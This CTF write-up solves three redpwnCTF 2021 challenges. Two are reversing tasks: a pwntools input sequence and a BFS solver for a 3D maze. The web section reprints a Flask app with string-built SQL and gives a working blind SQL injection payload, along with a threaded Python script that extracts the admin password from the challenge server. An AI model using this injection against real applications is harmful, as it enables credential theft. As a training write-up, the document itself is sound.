2021 redpwnCTF write-up
2021/07/13 10:30 AM Author : Ainsetin
Tasks
- Rev 🔎
- bread-making (108 pts)
- dimensionality (144 pts)
- Web 🎧
- cool (122 pts)
Rev/bread-making (108pts)
this prob has a lot of string data, so I just picked the right answer on each situation to get final flag.
Just analyze binary and submit sentences with right sequence.
from pwn import *
context.log_level='debug'
p=remote("mc.ax", 31796)
a=["add flour",
"add yeast",
"add salt",
"add water",
"hide the bowl inside a box",
"wait 3 hours",
"work in the basement",
"preheat the toaster oven",
"set a timer on your phone",
"watch the bread bake",
"pull the tray out with a towel",
"unplug the oven",
"unplug the fire alarm",
"open the window",
"wash the sink",
"clean the counters",
"flush the bread down the toilet",
"get ready to sleep",
"close the window",
"replace the fire alarm",
"brush teeth and go to bed"
]
for i in range(len(a)):
print(i)
p.recv()
p.sendline(a[i])
p.interactive()
The flag is flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
Rev/dimensionality (144pts)
bool __fastcall check(char *a1, __int64 a2, int a3)
{
int v3; // er8
__int64 v4; // rax
int v5; // er9
char v6; // al
char *v7; // rcx
int v8; // esi
bool result; // al
char v10; // r12
v3 = dword_408C * dword_408C * dword_408C; // dword_408C = 11
if ( v3 > 0 )
{
v4 = 1LL;
while ( 1 )
{
v5 = v4;
if ( v3 == v4 )
break;
if ( *(&unk_207F + ++v4) == 2 )
{
a3 = v5;
break;
}
}
}
v6 = *a1;
v7 = a1 + 1;
v8 = dword_408C * dword_408C;
if ( *a1 )
{
while ( 1 )
{
switch ( v6 )
{
case 'b':
v8 = -(dword_408C * dword_408C);
break;
case 'd':
v8 = dword_408C;
break;
case 'f':
v8 = dword_408C * dword_408C;
break;
case 'l':
v8 = -1;
break;
case 'r':
v8 = 1;
break;
case 'u':
v8 = -dword_408C;
break;
default:
break;
}
a3 += v8;
result = a3 < 0 || a3 > v3;
if ( result )
break;
v10 = byte_2080[a3];
if ( !v10 )
return result;
v6 = *v7++;
if ( !v6 )
goto LABEL_12;
}
result = 0;
}
else
{
v10 = byte_2080[a3];
LABEL_12:
result = v10 == 3;
}
return result;
}
I found a map (in unk_207F) involved 0
,1
,2
,3
digits.
When I analyzed this binary, i found the goal : escape maze with 6 commands from 2
to 3
.
(using f
,b
,d
,u
,r
,l
)
f → cur+121
b → cur-121
d → cur+11
u → cur-11
r -> cur+1
l -> cur-1
this prob can input command string upto length 29bytes, so I have to find a way that escape efficiently.
The player is currently located at 2. It is only possible to go to 1 or 3 instead of 0 through the command, and since it is inefficient to go back the way it has already been done, so using the breadth-first search(BFS) algorithm can reduce the number of cases.
Here’s my payload and I found 6 answers of this prob in 0.5 sec. one of these answers should print correct flag.
from pwn import *
a=[0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
cur=a.index(2)
queue=[[cur,[cur]]]
print queue
st=0
en=1
while st<en:
if a[queue[st][0]]==3:
print str(queue[st][1])
if 0 <= queue[st][0]+1 <= 1331 and (a[queue[st][0]+1]==1 or a[queue[st][0]+1]==3) and queue[st][0]+1 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]+1)
#print(queue[st][1])
queue.append([queue[st][0]+1, temp])
en+=1
if 0 <= queue[st][0]-1 <= 1331 and (a[queue[st][0]-1]==1 or a[queue[st][0]-1]==3) and queue[st][0]-1 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]-1)
#print(queue[st][1])
queue.append([queue[st][0]-1, temp])
en+=1
if 0 <= queue[st][0]+11 <= 1331 and (a[queue[st][0]+11]==1 or a[queue[st][0]+11]==3) and queue[st][0]+11 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]+11)
#print(queue[st][1])
queue.append([queue[st][0]+11, temp])
en+=1
if 0 <= queue[st][0]-11 <= 1331 and (a[queue[st][0]-11]==1 or a[queue[st][0]-11]==3) and queue[st][0]-11 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]-11)
#print(queue[st][1])
queue.append([queue[st][0]-11, temp])
en+=1
if 0 <= queue[st][0]+121 <= 1331 and (a[queue[st][0]+121]==1 or a[queue[st][0]+121]==3) and queue[st][0]+121 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]+121)
#print(queue[st][1])
queue.append([queue[st][0]+121, temp])
en+=1
if 0 <= queue[st][0]-121 <= 1331 and (a[queue[st][0]-121]==1 or a[queue[st][0]-121]==3) and queue[st][0]-121 not in queue[st][1]:
if len(queue[st][1])==30:
pass
else:
temp=queue[st][1][:]
temp.append(queue[st][0]-121)
#print(queue[st][1])
queue.append([queue[st][0]-121, temp])
en+=1
st+=1
#print st,en
the third answer is correct input to get flag.
#a=[84, 205, 206, 207, 328, 449, 448, 447, 446, 445, 566, 687, 698, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 206, 207, 328, 449, 448, 447, 568, 689, 688, 687, 698, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
a=[84, 205, 206, 207, 328, 449, 448, 447, 568, 689, 700, 711, 710, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 204, 203, 214, 225, 224, 223, 344, 465, 466, 467, 588, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 204, 203, 192, 181, 180, 179, 168, 157, 278, 399, 520, 641, 642, 643, 764, 885, 886, 887, 898, 909, 920, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 216, 227, 226, 225, 224, 223, 344, 465, 466, 467, 588, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
result=""
for i in range(1,len(a)):
if a[i]-a[i-1]==121:
result+='f'
if a[i]-a[i-1]==-121:
result+='b'
if a[i]-a[i-1]==11:
result+='d'
if a[i]-a[i-1]==-11:
result+='u'
if a[i]-a[i-1]==1:
result+='r'
if a[i]-a[i-1]==-1:
result+='l'
print result
# correct input is frrffllffddllffrrffuubbrrfff
❯ ./chall
frrffllffddllffrrffuubbrrfff
:)
flag{star_/_so_bright_/_car_/_site_-ppsu}
The flag is flag{star_/_so_bright_/_car_/_site_-ppsu}
Web/cool (122pts)
here are some initial parts and vulnerable parts of app.py.
def create_user(username, password):
if any(c not in allowed_characters for c in username):
return (False, 'Alphanumeric usernames only, please.')
if len(username) < 1:
return (False, 'Username is too short.')
if len(password) > 50:
return (False, 'Password is too long.')
other_users = execute(
f'SELECT * FROM users WHERE username=\'{username}\';'
)
if len(other_users) > 0:
return (False, 'Username taken.')
execute(
'INSERT INTO users (username, password)'
f'VALUES (\'{username}\', \'{password}\');'
)
return (True, '')
@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
success, message = create_user(
request.form['username'],
request.form['password']
)
if success:
session['username'] = request.form['username']
return redirect('/message')
return render_template_string('''
<link rel="stylesheet" href="/static/style.css" />
<div class="container">
<p>Register!</p>
<form method="POST">
<label for="username">Username</label>
<input type="text" name="username" />
<label for="password">Password</label>
<input type="password" name="password" />
<input type="submit" value="Register" />
</form>
<p></p>
</div>
''', error=message)
@app.route('/message')
def message():
if 'username' not in session:
return redirect('/')
if session['username'] == 'ginkoid':
return send_file(
'flag.mp3',
attachment_filename='flag-at-end-of-file.mp3'
)
return '''
<link rel="stylesheet" href="/static/style.css" />
<div class="container">
<p>You are logged in!</p>
<p>Unfortunately, Aaron's message is for cool people only.</p>
<p>(like ginkoid)</p>
<a href="/logout">Log out</a>
</div>
'''
If we submit register form, app.py call create_user
function.
this prob doesn’t filter password (just filter username using allowed_characters)
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
the goal is to find ginkoid’s password, so I used blind sql injection attack vector: execute(insert into username, password)
.
here is my payload:
username : any
password :{each char}
=substr((select password from users),{offset},1)
subquery (select password from users)
return first user(ginkoid)’s password. So, this method can verify each password char with 1 OR 0 (bool) result. Only have to do is login each username and find user that password is 1
, and combine them.
payload source code
I use thread because it tooks a long time.
from threading import Thread
import requests
import string
URL="https://cool.mc.ax/register"
URL2="https://cool.mc.ax/"
allow='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
#allow=string.printable
def threading_func(i,j):
data={'username':'cde'+'a'*i+'asdf'+allow[j], 'password':allow[j]+'\'=substr((select password from users),'+str(i+1)+',1))-- '}
print(data)
r=requests.post(URL, data=data)
#print r.text
def threading_func2(i,j):
global result
data={'username':'cde'+'a'*i+'asdf'+allow[j], 'password':"0"}
#print data
r=requests.post(URL2, data=data)
#print(r.text)
if "Incorrect username or password." in r.text:
print(str(i), allow[j], "is 1")
for x in range(32):
for y in range(len(allow)):
th=Thread(target=threading_func, name="["+str(x)+" "+allow[y]+"]", args=(x,y,))
th.start()
for x in range(32):
for y in range(len(allow)):
#print(x,y)
th=Thread(target=threading_func2, name="["+str(x)+" "+allow[y]+"]", args=(x,y,))
th.start()
finally I found password of ginkoid: k4Wm3qCKKK7kuLBVF3XFyo2kGCSj4ESe
And I received flag in flag-at-end-of-file.mp3
. just execute command tail
and get flag!
/mnt/c/Users/bww96/Downloads ❯ tail flag-at-end-of-file.mp3
Uj(!*-IjZuaɤZ'L
t1r}^:G̑klS\4QD\tO˻9T%oi03#^)ҝQFk?+zY>-=&T0)۪FP]
!}?LY`4Or~eClRD,wdbeVlH`lU<4vLa3WNU'8\4ieKDGƨtd 8eBQ<c$TND5]y+&|ꯜ@C5V<Nu*7UFD2<h
e?TMq8zgh
пg<eZ(#@4
H~͈B܍5f1
9o
{K14-v6(n|MmQ;f3&*#ekFNܾEŪ��?2 уP@d qA-^W.REW?dYk
>J
%{
1
\Q"B(q6CA3gV{?7UJO71,<$ʙ|F@T2m*ez\dl1u+&Uȧg!!;,/)f:x$VD$)*38>ƛ<vbeI [6Y(5Vt7B sd)ZYn
wLAMEUUHDH#@DE*Bb��f,L"c0Q!1ƴ7ԃ8!QF*%QD1TU~
MI04UUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUU UUUUUU(Dk4UUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUdBE@@
4UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUflag{44r0n_s4ys_s08r137y_1s_c00l}
The flag is flag{44r0n_s4ys_s08r137y_1s_c00l}